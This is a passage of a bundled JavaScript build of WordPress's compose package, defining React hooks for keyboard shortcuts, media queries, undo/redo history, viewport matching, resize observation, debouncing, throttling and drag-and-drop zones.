    if (eventsRef.current.onDragStart) {
      eventsRef.current.onDragStart(event);
    }
    document.addEventListener('mousemove', onMouseMove);
    document.addEventListener('mouseup', endDrag);
    setIsDragging(true);
  }, []);

  // Remove the global events when unmounting if needed.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    return () => {
      if (isDragging) {
        document.removeEventListener('mousemove', onMouseMove);
        document.removeEventListener('mouseup', endDrag);
      }
    };
  }, [isDragging]);
  return {
    startDrag,
    endDrag,
    isDragging
  };
}

// EXTERNAL MODULE: ./node_modules/mousetrap/mousetrap.js
var mousetrap_mousetrap = __webpack_require__(1933);
var mousetrap_default = /*#__PURE__*/__webpack_require__.n(mousetrap_mousetrap);
// EXTERNAL MODULE: ./node_modules/mousetrap/plugins/global-bind/mousetrap-global-bind.js
var mousetrap_global_bind = __webpack_require__(5760);
;// ./node_modules/@wordpress/compose/build-module/hooks/use-keyboard-shortcut/index.js
/**
 * External dependencies
 */



/**
 * WordPress dependencies
 */



/**
 * A block selection object.
 *
 * @typedef {Object} WPKeyboardShortcutConfig
 *
 * @property {boolean}                                [bindGlobal] Handle keyboard events anywhere including inside textarea/input fields.
 * @property {string}                                 [eventName]  Event name used to trigger the handler, defaults to keydown.
 * @property {boolean}                                [isDisabled] Disables the keyboard handler if the value is true.
 * @property {import('react').RefObject<HTMLElement>} [target]     React reference to the DOM element used to catch the keyboard event.
 */

/* eslint-disable jsdoc/valid-types */
/**
 * Attach a keyboard shortcut handler.
 *
 * @see https://craig.is/killing/mice#api.bind for information about the `callback` parameter.
 *
 * @param {string[]|string}                                                       shortcuts Keyboard Shortcuts.
 * @param {(e: import('mousetrap').ExtendedKeyboardEvent, combo: string) => void} callback  Shortcut callback.
 * @param {WPKeyboardShortcutConfig}                                              options   Shortcut options.
 */
function useKeyboardShortcut(/* eslint-enable jsdoc/valid-types */
shortcuts, callback, {
  bindGlobal = false,
  eventName = 'keydown',
  isDisabled = false,
  // This is important for performance considerations.
  target
} = {}) {
  const currentCallbackRef = (0,external_wp_element_namespaceObject.useRef)(callback);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    currentCallbackRef.current = callback;
  }, [callback]);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (isDisabled) {
      return;
    }
    const mousetrap = new (mousetrap_default())(target && target.current ? target.current :
    // We were passing `document` here previously, so to successfully cast it to Element we must cast it first to `unknown`.
    // Not sure if this is a mistake but it was the behavior previous to the addition of types so we're just doing what's
    // necessary to maintain the existing behavior.
    /** @type {Element} */ /** @type {unknown} */
    document);
    const shortcutsArray = Array.isArray(shortcuts) ? shortcuts : [shortcuts];
    shortcutsArray.forEach(shortcut => {
      const keys = shortcut.split('+');
      // Determines whether a key is a modifier by the length of the string.
      // E.g. if I add a pass a shortcut Shift+Cmd+M, it'll determine that
      // the modifiers are Shift and Cmd because they're not a single character.
      const modifiers = new Set(keys.filter(value => value.length > 1));
      const hasAlt = modifiers.has('alt');
      const hasShift = modifiers.has('shift');

      // This should be better moved to the shortcut registration instead.
      if ((0,external_wp_keycodes_namespaceObject.isAppleOS)() && (modifiers.size === 1 && hasAlt || modifiers.size === 2 && hasAlt && hasShift)) {
        throw new Error(`Cannot bind ${shortcut}. Alt and Shift+Alt modifiers are reserved for character input.`);
      }
      const bindFn = bindGlobal ? 'bindGlobal' : 'bind';
      // @ts-ignore `bindGlobal` is an undocumented property
      mousetrap[bindFn](shortcut, (/* eslint-disable jsdoc/valid-types */
      /** @type {[e: import('mousetrap').ExtendedKeyboardEvent, combo: string]} */...args) => /* eslint-enable jsdoc/valid-types */
      currentCallbackRef.current(...args), eventName);
    });
    return () => {
      mousetrap.reset();
    };
  }, [shortcuts, bindGlobal, eventName, target, isDisabled]);
}
/* harmony default export */ const use_keyboard_shortcut = (useKeyboardShortcut);

;// ./node_modules/@wordpress/compose/build-module/hooks/use-media-query/index.js
/**
 * WordPress dependencies
 */

const matchMediaCache = new Map();

/**
 * A new MediaQueryList object for the media query
 *
 * @param {string} [query] Media Query.
 * @return {MediaQueryList|null} A new object for the media query
 */
function getMediaQueryList(query) {
  if (!query) {
    return null;
  }
  let match = matchMediaCache.get(query);
  if (match) {
    return match;
  }
  if (typeof window !== 'undefined' && typeof window.matchMedia === 'function') {
    match = window.matchMedia(query);
    matchMediaCache.set(query, match);
    return match;
  }
  return null;
}

/**
 * Runs a media query and returns its value when it changes.
 *
 * @param {string} [query] Media Query.
 * @return {boolean} return value of the media query.
 */
function useMediaQuery(query) {
  const source = (0,external_wp_element_namespaceObject.useMemo)(() => {
    const mediaQueryList = getMediaQueryList(query);
    return {
      /** @type {(onStoreChange: () => void) => () => void} */
      subscribe(onStoreChange) {
        if (!mediaQueryList) {
          return () => {};
        }

        // Avoid a fatal error when browsers don't support `addEventListener` on MediaQueryList.
        mediaQueryList.addEventListener?.('change', onStoreChange);
        return () => {
          mediaQueryList.removeEventListener?.('change', onStoreChange);
        };
      },
      getValue() {
        var _mediaQueryList$match;
        return (_mediaQueryList$match = mediaQueryList?.matches) !== null && _mediaQueryList$match !== void 0 ? _mediaQueryList$match : false;
      }
    };
  }, [query]);
  return (0,external_wp_element_namespaceObject.useSyncExternalStore)(source.subscribe, source.getValue, () => false);
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-previous/index.js
/**
 * WordPress dependencies
 */


/**
 * Use something's value from the previous render.
 * Based on https://usehooks.com/usePrevious/.
 *
 * @param value The value to track.
 *
 * @return The value from the previous render.
 */
function usePrevious(value) {
  const ref = (0,external_wp_element_namespaceObject.useRef)();

  // Store current value in ref.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    ref.current = value;
  }, [value]); // Re-run when value changes.

  // Return previous value (happens before update in useEffect above).
  return ref.current;
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-reduced-motion/index.js
/**
 * Internal dependencies
 */


/**
 * Hook returning whether the user has a preference for reduced motion.
 *
 * @return {boolean} Reduced motion preference value.
 */
const useReducedMotion = () => useMediaQuery('(prefers-reduced-motion: reduce)');
/* harmony default export */ const use_reduced_motion = (useReducedMotion);

;// ./node_modules/@wordpress/undo-manager/build-module/index.js
/**
 * WordPress dependencies
 */


/** @typedef {import('./types').HistoryRecord}  HistoryRecord */
/** @typedef {import('./types').HistoryChange}  HistoryChange */
/** @typedef {import('./types').HistoryChanges} HistoryChanges */
/** @typedef {import('./types').UndoManager} UndoManager */

/**
 * Merge changes for a single item into a record of changes.
 *
 * @param {Record< string, HistoryChange >} changes1 Previous changes
 * @param {Record< string, HistoryChange >} changes2 NextChanges
 *
 * @return {Record< string, HistoryChange >} Merged changes
 */
function mergeHistoryChanges(changes1, changes2) {
  /**
   * @type {Record< string, HistoryChange >}
   */
  const newChanges = {
    ...changes1
  };
  Object.entries(changes2).forEach(([key, value]) => {
    if (newChanges[key]) {
      newChanges[key] = {
        ...newChanges[key],
        to: value.to
      };
    } else {
      newChanges[key] = value;
    }
  });
  return newChanges;
}

/**
 * Adds history changes for a single item into a record of changes.
 *
 * @param {HistoryRecord}  record  The record to merge into.
 * @param {HistoryChanges} changes The changes to merge.
 */
const addHistoryChangesIntoRecord = (record, changes) => {
  const existingChangesIndex = record?.findIndex(({
    id: recordIdentifier
  }) => {
    return typeof recordIdentifier === 'string' ? recordIdentifier === changes.id : external_wp_isShallowEqual_default()(recordIdentifier, changes.id);
  });
  const nextRecord = [...record];
  if (existingChangesIndex !== -1) {
    // If the edit is already in the stack leave the initial "from" value.
    nextRecord[existingChangesIndex] = {
      id: changes.id,
      changes: mergeHistoryChanges(nextRecord[existingChangesIndex].changes, changes.changes)
    };
  } else {
    nextRecord.push(changes);
  }
  return nextRecord;
};

/**
 * Creates an undo manager.
 *
 * @return {UndoManager} Undo manager.
 */
function createUndoManager() {
  /**
   * @type {HistoryRecord[]}
   */
  let history = [];
  /**
   * @type {HistoryRecord}
   */
  let stagedRecord = [];
  /**
   * @type {number}
   */
  let offset = 0;
  const dropPendingRedos = () => {
    history = history.slice(0, offset || undefined);
    offset = 0;
  };
  const appendStagedRecordToLatestHistoryRecord = () => {
    var _history$index;
    const index = history.length === 0 ? 0 : history.length - 1;
    let latestRecord = (_history$index = history[index]) !== null && _history$index !== void 0 ? _history$index : [];
    stagedRecord.forEach(changes => {
      latestRecord = addHistoryChangesIntoRecord(latestRecord, changes);
    });
    stagedRecord = [];
    history[index] = latestRecord;
  };

  /**
   * Checks whether a record is empty.
   * A record is considered empty if it the changes keep the same values.
   * Also updates to function values are ignored.
   *
   * @param {HistoryRecord} record
   * @return {boolean} Whether the record is empty.
   */
  const isRecordEmpty = record => {
    const filteredRecord = record.filter(({
      changes
    }) => {
      return Object.values(changes).some(({
        from,
        to
      }) => typeof from !== 'function' && typeof to !== 'function' && !external_wp_isShallowEqual_default()(from, to));
    });
    return !filteredRecord.length;
  };
  return {
    /**
     * Record changes into the history.
     *
     * @param {HistoryRecord=} record   A record of changes to record.
     * @param {boolean}        isStaged Whether to immediately create an undo point or not.
     */
    addRecord(record, isStaged = false) {
      const isEmpty = !record || isRecordEmpty(record);
      if (isStaged) {
        if (isEmpty) {
          return;
        }
        record.forEach(changes => {
          stagedRecord = addHistoryChangesIntoRecord(stagedRecord, changes);
        });
      } else {
        dropPendingRedos();
        if (stagedRecord.length) {
          appendStagedRecordToLatestHistoryRecord();
        }
        if (isEmpty) {
          return;
        }
        history.push(record);
      }
    },
    undo() {
      if (stagedRecord.length) {
        dropPendingRedos();
        appendStagedRecordToLatestHistoryRecord();
      }
      const undoRecord = history[history.length - 1 + offset];
      if (!undoRecord) {
        return;
      }
      offset -= 1;
      return undoRecord;
    },
    redo() {
      const redoRecord = history[history.length + offset];
      if (!redoRecord) {
        return;
      }
      offset += 1;
      return redoRecord;
    },
    hasUndo() {
      return !!history[history.length - 1 + offset];
    },
    hasRedo() {
      return !!history[history.length + offset];
    }
  };
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-state-with-history/index.js
/**
 * WordPress dependencies
 */


function undoRedoReducer(state, action) {
  switch (action.type) {
    case 'UNDO':
      {
        const undoRecord = state.manager.undo();
        if (undoRecord) {
          return {
            ...state,
            value: undoRecord[0].changes.prop.from
          };
        }
        return state;
      }
    case 'REDO':
      {
        const redoRecord = state.manager.redo();
        if (redoRecord) {
          return {
            ...state,
            value: redoRecord[0].changes.prop.to
          };
        }
        return state;
      }
    case 'RECORD':
      {
        state.manager.addRecord([{
          id: 'object',
          changes: {
            prop: {
              from: state.value,
              to: action.value
            }
          }
        }], action.isStaged);
        return {
          ...state,
          value: action.value
        };
      }
  }
  return state;
}
function initReducer(value) {
  return {
    manager: createUndoManager(),
    value
  };
}

/**
 * useState with undo/redo history.
 *
 * @param initialValue Initial value.
 * @return Value, setValue, hasUndo, hasRedo, undo, redo.
 */
function useStateWithHistory(initialValue) {
  const [state, dispatch] = (0,external_wp_element_namespaceObject.useReducer)(undoRedoReducer, initialValue, initReducer);
  return {
    value: state.value,
    setValue: (0,external_wp_element_namespaceObject.useCallback)((newValue, isStaged) => {
      dispatch({
        type: 'RECORD',
        value: newValue,
        isStaged
      });
    }, []),
    hasUndo: state.manager.hasUndo(),
    hasRedo: state.manager.hasRedo(),
    undo: (0,external_wp_element_namespaceObject.useCallback)(() => {
      dispatch({
        type: 'UNDO'
      });
    }, []),
    redo: (0,external_wp_element_namespaceObject.useCallback)(() => {
      dispatch({
        type: 'REDO'
      });
    }, [])
  };
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-viewport-match/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


/**
 * @typedef {"xhuge" | "huge" | "wide" | "xlarge" | "large" | "medium" | "small" | "mobile"} WPBreakpoint
 */

/**
 * Hash of breakpoint names with pixel width at which it becomes effective.
 *
 * @see _breakpoints.scss
 *
 * @type {Record<WPBreakpoint, number>}
 */
const BREAKPOINTS = {
  xhuge: 1920,
  huge: 1440,
  wide: 1280,
  xlarge: 1080,
  large: 960,
  medium: 782,
  small: 600,
  mobile: 480
};

/**
 * @typedef {">=" | "<"} WPViewportOperator
 */

/**
 * Object mapping media query operators to the condition to be used.
 *
 * @type {Record<WPViewportOperator, string>}
 */
const CONDITIONS = {
  '>=': 'min-width',
  '<': 'max-width'
};

/**
 * Object mapping media query operators to a function that given a breakpointValue and a width evaluates if the operator matches the values.
 *
 * @type {Record<WPViewportOperator, (breakpointValue: number, width: number) => boolean>}
 */
const OPERATOR_EVALUATORS = {
  '>=': (breakpointValue, width) => width >= breakpointValue,
  '<': (breakpointValue, width) => width < breakpointValue
};
const ViewportMatchWidthContext = (0,external_wp_element_namespaceObject.createContext)(/** @type {null | number} */null);

/**
 * Returns true if the viewport matches the given query, or false otherwise.
 *
 * @param {WPBreakpoint}       breakpoint      Breakpoint size name.
 * @param {WPViewportOperator} [operator=">="] Viewport operator.
 *
 * @example
 *
 * ```js
 * useViewportMatch( 'huge', '<' );
 * useViewportMatch( 'medium' );
 * ```
 *
 * @return {boolean} Whether viewport matches query.
 */
const useViewportMatch = (breakpoint, operator = '>=') => {
  const simulatedWidth = (0,external_wp_element_namespaceObject.useContext)(ViewportMatchWidthContext);
  const mediaQuery = !simulatedWidth && `(${CONDITIONS[operator]}: ${BREAKPOINTS[breakpoint]}px)`;
  const mediaQueryResult = useMediaQuery(mediaQuery || undefined);
  if (simulatedWidth) {
    return OPERATOR_EVALUATORS[operator](BREAKPOINTS[breakpoint], simulatedWidth);
  }
  return mediaQueryResult;
};
useViewportMatch.__experimentalWidthProvider = ViewportMatchWidthContext.Provider;
/* harmony default export */ const use_viewport_match = (useViewportMatch);

;// ./node_modules/@wordpress/compose/build-module/hooks/use-resize-observer/use-resize-observer.js
/**
 * WordPress dependencies
 */

/**
 * Internal dependencies
 */


// This is the current implementation of `useResizeObserver`.
//
// The legacy implementation is still supported for backwards compatibility.
// This is achieved by overloading the exported function with both signatures,
// and detecting which API is being used at runtime.
function useResizeObserver(callback, resizeObserverOptions = {}) {
  const callbackEvent = useEvent(callback);
  const observedElementRef = (0,external_wp_element_namespaceObject.useRef)();
  const resizeObserverRef = (0,external_wp_element_namespaceObject.useRef)();
  return useEvent(element => {
    var _resizeObserverRef$cu;
    if (element === observedElementRef.current) {
      return;
    }

    // Set up `ResizeObserver`.
    (_resizeObserverRef$cu = resizeObserverRef.current) !== null && _resizeObserverRef$cu !== void 0 ? _resizeObserverRef$cu : resizeObserverRef.current = new ResizeObserver(callbackEvent);
    const {
      current: resizeObserver
    } = resizeObserverRef;

    // Unobserve previous element.
    if (observedElementRef.current) {
      resizeObserver.unobserve(observedElementRef.current);
    }

    // Observe new element.
    observedElementRef.current = element;
    if (element) {
      resizeObserver.observe(element, resizeObserverOptions);
    }
  });
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-resize-observer/legacy/index.js
/**
 * External dependencies
 */

/**
 * WordPress dependencies
 */

/**
 * Internal dependencies
 */


// We're only using the first element of the size sequences, until future versions of the spec solidify on how
// exactly it'll be used for fragments in multi-column scenarios:
// From the spec:
// > The box size properties are exposed as FrozenArray in order to support elements that have multiple fragments,
// > which occur in multi-column scenarios. However the current definitions of content rect and border box do not
// > mention how those boxes are affected by multi-column layout. In this spec, there will only be a single
// > ResizeObserverSize returned in the FrozenArray, which will correspond to the dimensions of the first column.
// > A future version of this spec will extend the returned FrozenArray to contain the per-fragment size information.
// (https://drafts.csswg.org/resize-observer/#resize-observer-entry-interface)
//
// Also, testing these new box options revealed that in both Chrome and FF everything is returned in the callback,
// regardless of the "box" option.
// The spec states the following on this:
// > This does not have any impact on which box dimensions are returned to the defined callback when the event
// > is fired, it solely defines which box the author wishes to observe layout changes on.
// (https://drafts.csswg.org/resize-observer/#resize-observer-interface)
// I'm not exactly clear on what this means, especially when you consider a later section stating the following:
// > This section is non-normative. An author may desire to observe more than one CSS box.
// > In this case, author will need to use multiple ResizeObservers.
// (https://drafts.csswg.org/resize-observer/#resize-observer-interface)
// Which is clearly not how current browser implementations behave, and seems to contradict the previous quote.
// For this reason I decided to only return the requested size,
// even though it seems we have access to results for all box types.
// This also means that we get to keep the current api, being able to return a simple { width, height } pair,
// regardless of box option.
const extractSize = entry => {
  let entrySize;
  if (!entry.contentBoxSize) {
    // The dimensions in `contentBoxSize` and `contentRect` are equivalent according to the spec.
    // See the 6th step in the description for the RO algorithm:
    // https://drafts.csswg.org/resize-observer/#create-and-populate-resizeobserverentry-h
    // > Set this.contentRect to logical this.contentBoxSize given target and observedBox of "content-box".
    // In real browser implementations of course these objects differ, but the width/height values should be equivalent.
    entrySize = [entry.contentRect.width, entry.contentRect.height];
  } else if (entry.contentBoxSize[0]) {
    const contentBoxSize = entry.contentBoxSize[0];
    entrySize = [contentBoxSize.inlineSize, contentBoxSize.blockSize];
  } else {
    // TS complains about this, because the RO entry type follows the spec and does not reflect Firefox's buggy
    // behaviour of returning objects instead of arrays for `borderBoxSize` and `contentBoxSize`.
    const contentBoxSize = entry.contentBoxSize;
    entrySize = [contentBoxSize.inlineSize, contentBoxSize.blockSize];
  }
  const [width, height] = entrySize.map(d => Math.round(d));
  return {
    width,
    height
  };
};
const RESIZE_ELEMENT_STYLES = {
  position: 'absolute',
  top: 0,
  left: 0,
  right: 0,
  bottom: 0,
  pointerEvents: 'none',
  opacity: 0,
  overflow: 'hidden',
  zIndex: -1
};
function ResizeElement({
  onResize
}) {
  const resizeElementRef = useResizeObserver(entries => {
    const newSize = extractSize(entries.at(-1)); // Entries are never empty.
    onResize(newSize);
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
    ref: resizeElementRef,
    style: RESIZE_ELEMENT_STYLES,
    "aria-hidden": "true"
  });
}
function sizeEquals(a, b) {
  return a.width === b.width && a.height === b.height;
}
const NULL_SIZE = {
  width: null,
  height: null
};

/**
 * Hook which allows to listen to the resize event of any target element when it changes size.
 * _Note: `useResizeObserver` will report `null` sizes until after first render.
 *
 * @example
 *
 * ```js
 * const App = () => {
 * 	const [ resizeListener, sizes ] = useResizeObserver();
 *
 * 	return (
 * 		<div>
 * 			{ resizeListener }
 * 			Your content here
 * 		</div>
 * 	);
 * };
 * ```
 */
function useLegacyResizeObserver() {
  const [size, setSize] = (0,external_wp_element_namespaceObject.useState)(NULL_SIZE);

  // Using a ref to track the previous width / height to avoid unnecessary renders.
  const previousSizeRef = (0,external_wp_element_namespaceObject.useRef)(NULL_SIZE);
  const handleResize = (0,external_wp_element_namespaceObject.useCallback)(newSize => {
    if (!sizeEquals(previousSizeRef.current, newSize)) {
      previousSizeRef.current = newSize;
      setSize(newSize);
    }
  }, []);
  const resizeElement = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ResizeElement, {
    onResize: handleResize
  });
  return [resizeElement, size];
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-resize-observer/index.js
/**
 * Internal dependencies
 */


/**
 * External dependencies
 */

/**
 * Sets up a [`ResizeObserver`](https://developer.mozilla.org/en-US/docs/Web/API/Resize_Observer_API)
 * for an HTML or SVG element.
 *
 * Pass the returned setter as a callback ref to the React element you want
 * to observe, or use it in layout effects for advanced use cases.
 *
 * @example
 *
 * ```tsx
 * const setElement = useResizeObserver(
 * 	( resizeObserverEntries ) => console.log( resizeObserverEntries ),
 * 	{ box: 'border-box' }
 * );
 * <div ref={ setElement } />;
 *
 * // The setter can be used in other ways, for example:
 * useLayoutEffect( () => {
 * 	setElement( document.querySelector( `data-element-id="${ elementId }"` ) );
 * }, [ elementId ] );
 * ```
 *
 * @param callback The `ResizeObserver` callback - [MDN docs](https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserver/ResizeObserver#callback).
 * @param options  Options passed to `ResizeObserver.observe` when called - [MDN docs](https://developer.mozilla.org/en-US/docs/Web/API/ResizeObserver/observe#options). Changes will be ignored.
 */

/**
 * **This is a legacy API and should not be used.**
 *
 * @deprecated Use the other `useResizeObserver` API instead: `const ref = useResizeObserver( ( entries ) => { ... } )`.
 *
 * Hook which allows to listen to the resize event of any target element when it changes size.
 * _Note: `useResizeObserver` will report `null` sizes until after first render.
 *
 * @example
 *
 * ```js
 * const App = () => {
 * 	const [ resizeListener, sizes ] = useResizeObserver();
 *
 * 	return (
 * 		<div>
 * 			{ resizeListener }
 * 			Your content here
 * 		</div>
 * 	);
 * };
 * ```
 */

function use_resize_observer_useResizeObserver(callback, options = {}) {
  return callback ? useResizeObserver(callback, options) : useLegacyResizeObserver();
}

;// external ["wp","priorityQueue"]
const external_wp_priorityQueue_namespaceObject = window["wp"]["priorityQueue"];
;// ./node_modules/@wordpress/compose/build-module/hooks/use-async-list/index.js
/**
 * WordPress dependencies
 */


/**
 * Returns the first items from list that are present on state.
 *
 * @param list  New array.
 * @param state Current state.
 * @return First items present in state.
 */
function getFirstItemsPresentInState(list, state) {
  const firstItems = [];
  for (let i = 0; i < list.length; i++) {
    const item = list[i];
    if (!state.includes(item)) {
      break;
    }
    firstItems.push(item);
  }
  return firstItems;
}

/**
 * React hook returns an array which items get asynchronously appended from a source array.
 * This behavior is useful if we want to render a list of items asynchronously for performance reasons.
 *
 * @param list   Source array.
 * @param config Configuration object.
 *
 * @return Async array.
 */
function useAsyncList(list, config = {
  step: 1
}) {
  const {
    step = 1
  } = config;
  const [current, setCurrent] = (0,external_wp_element_namespaceObject.useState)([]);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    // On reset, we keep the first items that were previously rendered.
    let firstItems = getFirstItemsPresentInState(list, current);
    if (firstItems.length < step) {
      firstItems = firstItems.concat(list.slice(firstItems.length, step));
    }
    setCurrent(firstItems);
    const asyncQueue = (0,external_wp_priorityQueue_namespaceObject.createQueue)();
    for (let i = firstItems.length; i < list.length; i += step) {
      asyncQueue.add({}, () => {
        (0,external_wp_element_namespaceObject.flushSync)(() => {
          setCurrent(state => [...state, ...list.slice(i, i + step)]);
        });
      });
    }
    return () => asyncQueue.reset();
  }, [list]);
  return current;
}
/* harmony default export */ const use_async_list = (useAsyncList);

;// ./node_modules/@wordpress/compose/build-module/hooks/use-warn-on-change/index.js
/**
 * Internal dependencies
 */


// Disable reason: Object and object are distinctly different types in TypeScript and we mean the lowercase object in this case
// but eslint wants to force us to use `Object`. See https://stackoverflow.com/questions/49464634/difference-between-object-and-object-in-typescript
/* eslint-disable jsdoc/check-types */
/**
 * Hook that performs a shallow comparison between the preview value of an object
 * and the new one, if there's a difference, it prints it to the console.
 * this is useful in performance related work, to check why a component re-renders.
 *
 *  @example
 *
 * ```jsx
 * function MyComponent(props) {
 *    useWarnOnChange(props);
 *
 *    return "Something";
 * }
 * ```
 *
 * @param {object} object Object which changes to compare.
 * @param {string} prefix Just a prefix to show when console logging.
 */
function useWarnOnChange(object, prefix = 'Change detection') {
  const previousValues = usePrevious(object);
  Object.entries(previousValues !== null && previousValues !== void 0 ? previousValues : []).forEach(([key, value]) => {
    if (value !== object[(/** @type {keyof typeof object} */key)]) {
      // eslint-disable-next-line no-console
      console.warn(`${prefix}: ${key} key changed:`, value, object[(/** @type {keyof typeof object} */key)]
      /* eslint-enable jsdoc/check-types */);
    }
  });
}
/* harmony default export */ const use_warn_on_change = (useWarnOnChange);

;// external "React"
const external_React_namespaceObject = window["React"];
;// ./node_modules/use-memo-one/dist/use-memo-one.esm.js


function areInputsEqual(newInputs, lastInputs) {
  if (newInputs.length !== lastInputs.length) {
    return false;
  }

  for (var i = 0; i < newInputs.length; i++) {
    if (newInputs[i] !== lastInputs[i]) {
      return false;
    }
  }

  return true;
}

function useMemoOne(getResult, inputs) {
  var initial = (0,external_React_namespaceObject.useState)(function () {
    return {
      inputs: inputs,
      result: getResult()
    };
  })[0];
  var isFirstRun = (0,external_React_namespaceObject.useRef)(true);
  var committed = (0,external_React_namespaceObject.useRef)(initial);
  var useCache = isFirstRun.current || Boolean(inputs && committed.current.inputs && areInputsEqual(inputs, committed.current.inputs));
  var cache = useCache ? committed.current : {
    inputs: inputs,
    result: getResult()
  };
  (0,external_React_namespaceObject.useEffect)(function () {
    isFirstRun.current = false;
    committed.current = cache;
  }, [cache]);
  return cache.result;
}
function useCallbackOne(callback, inputs) {
  return useMemoOne(function () {
    return callback;
  }, inputs);
}
var useMemo = (/* unused pure expression or super */ null && (useMemoOne));
var useCallback = (/* unused pure expression or super */ null && (useCallbackOne));



;// ./node_modules/@wordpress/compose/build-module/hooks/use-debounce/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


/**
 * Debounces a function similar to Lodash's `debounce`. A new debounced function will
 * be returned and any scheduled calls cancelled if any of the arguments change,
 * including the function to debounce, so please wrap functions created on
 * render in components in `useCallback`.
 *
 * @see https://lodash.com/docs/4#debounce
 *
 * @template {(...args: any[]) => void} TFunc
 *
 * @param {TFunc}                                          fn        The function to debounce.
 * @param {number}                                         [wait]    The number of milliseconds to delay.
 * @param {import('../../utils/debounce').DebounceOptions} [options] The options object.
 * @return {import('../../utils/debounce').DebouncedFunc<TFunc>} Debounced function.
 */
function useDebounce(fn, wait, options) {
  const debounced = useMemoOne(() => debounce(fn, wait !== null && wait !== void 0 ? wait : 0, options), [fn, wait, options]);
  (0,external_wp_element_namespaceObject.useEffect)(() => () => debounced.cancel(), [debounced]);
  return debounced;
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-debounced-input/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


/**
 * Helper hook for input fields that need to debounce the value before using it.
 *
 * @param defaultValue The default value to use.
 * @return The input value, the setter and the debounced input value.
 */
function useDebouncedInput(defaultValue = '') {
  const [input, setInput] = (0,external_wp_element_namespaceObject.useState)(defaultValue);
  const [debouncedInput, setDebouncedState] = (0,external_wp_element_namespaceObject.useState)(defaultValue);
  const setDebouncedInput = useDebounce(setDebouncedState, 250);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    setDebouncedInput(input);
  }, [input, setDebouncedInput]);
  return [input, setInput, debouncedInput];
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-throttle/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */


/**
 * Throttles a function similar to Lodash's `throttle`. A new throttled function will
 * be returned and any scheduled calls cancelled if any of the arguments change,
 * including the function to throttle, so please wrap functions created on
 * render in components in `useCallback`.
 *
 * @see https://lodash.com/docs/4#throttle
 *
 * @template {(...args: any[]) => void} TFunc
 *
 * @param {TFunc}                                          fn        The function to throttle.
 * @param {number}                                         [wait]    The number of milliseconds to throttle invocations to.
 * @param {import('../../utils/throttle').ThrottleOptions} [options] The options object. See linked documentation for details.
 * @return {import('../../utils/debounce').DebouncedFunc<TFunc>} Throttled function.
 */
function useThrottle(fn, wait, options) {
  const throttled = useMemoOne(() => throttle(fn, wait !== null && wait !== void 0 ? wait : 0, options), [fn, wait, options]);
  (0,external_wp_element_namespaceObject.useEffect)(() => () => throttled.cancel(), [throttled]);
  return throttled;
}

;// ./node_modules/@wordpress/compose/build-module/hooks/use-drop-zone/index.js
/**
 * Internal dependencies
 */



/**
 * A hook to facilitate drag and drop handling.
 *
 * @param {Object}                  props                   Named parameters.
 * @param {?HTMLElement}            [props.dropZoneElement] Optional element to be used as the drop zone.
 * @param {boolean}                 [props.isDisabled]      Whether or not to disable the drop zone.
 * @param {(e: DragEvent) => void}  [props.onDragStart]     Called when dragging has started.
 * @param {(e: DragEvent) => void}  [props.onDragEnter]     Called when the zone is entered.
 * @param {(e: DragEvent) => void}  [props.onDragOver]      Called when the zone is moved within.
 * @param {(e: DragEvent) => void}  [props.onDragLeave]     Called when the zone is left.
 * @param {(e: MouseEvent) => void} [props.onDragEnd]       Called when dragging has ended.
 * @param {(e: DragEvent) => void}  [props.onDrop]          Called when dropping in the zone.
 *
 * @return {import('react').RefCallback<HTMLElement>} Ref callback to be passed to the drop zone element.
 */
function useDropZone({
  dropZoneElement,
  isDisabled,
  onDrop: _onDrop,
  onDragStart: _onDragStart,
  onDragEnter: _onDragEnter,
  onDragLeave: _onDragLeave,
  onDragEnd: _onDragEnd,
  onDragOver: _onDragOver
}) {
  const onDropEvent = useEvent(_onDrop);
  const onDragStartEvent = useEvent(_onDragStart);
  const onDragEnterEvent = useEvent(_onDragEnter);
  const onDragLeaveEvent = useEvent(_onDragLeave);
  const onDragEndEvent = useEvent(_onDragEnd);
  const onDragOverEvent = useEvent(_onDragOver);
  return useRefEffect(elem => {
    if (isDisabled) {
      return;
    }

    // If a custom dropZoneRef is passed, use that instead of the element.
    // This allows the dropzone to cover an expanded area, rather than
    // be restricted to the area of the ref returned by this hook.
    const element = dropZoneElement !== null && dropZoneElement !== void 0 ? dropZoneElement : elem;
    let isDragging = false;
    const {
      ownerDocument
    } = element;

    /**
     * Checks if an element is in the drop zone.
     *
     * @param {EventTarget|null} targetToCheck
     *
     * @return {boolean} True if in drop zone, false if not.
     */
    function isElementInZone(targetToCheck) {
      const {
        defaultView
      } = ownerDocument;
      if (!targetToCheck || !defaultView || !(targetToCheck instanceof defaultView.HTMLElement) || !element.contains(targetToCheck)) {
        return false;
      }

      /** @type {HTMLElement|null} */
      let elementToCheck = targetToCheck;
      do {
        if (elementToCheck.dataset.isDropZone) {
          return elementToCheck === element;
        }
      } while (elementToCheck = elementToCheck.parentElement);
      return false;
    }
    function maybeDragStart(/** @type {DragEvent} */event) {
      if (isDragging) {
        return;
      }
      isDragging = true;

      // Note that `dragend` doesn't fire consistently for file and
      // HTML drag events where the drag origin is outside the browser
      // window. In Firefox it may also not fire if the originating
      // node is removed.
      ownerDocument.addEventListener('dragend', maybeDragEnd);
      ownerDocument.addEventListener('mousemove', maybeDragEnd);
      if (_onDragStart) {
        onDragStartEvent(event);
      }
    }
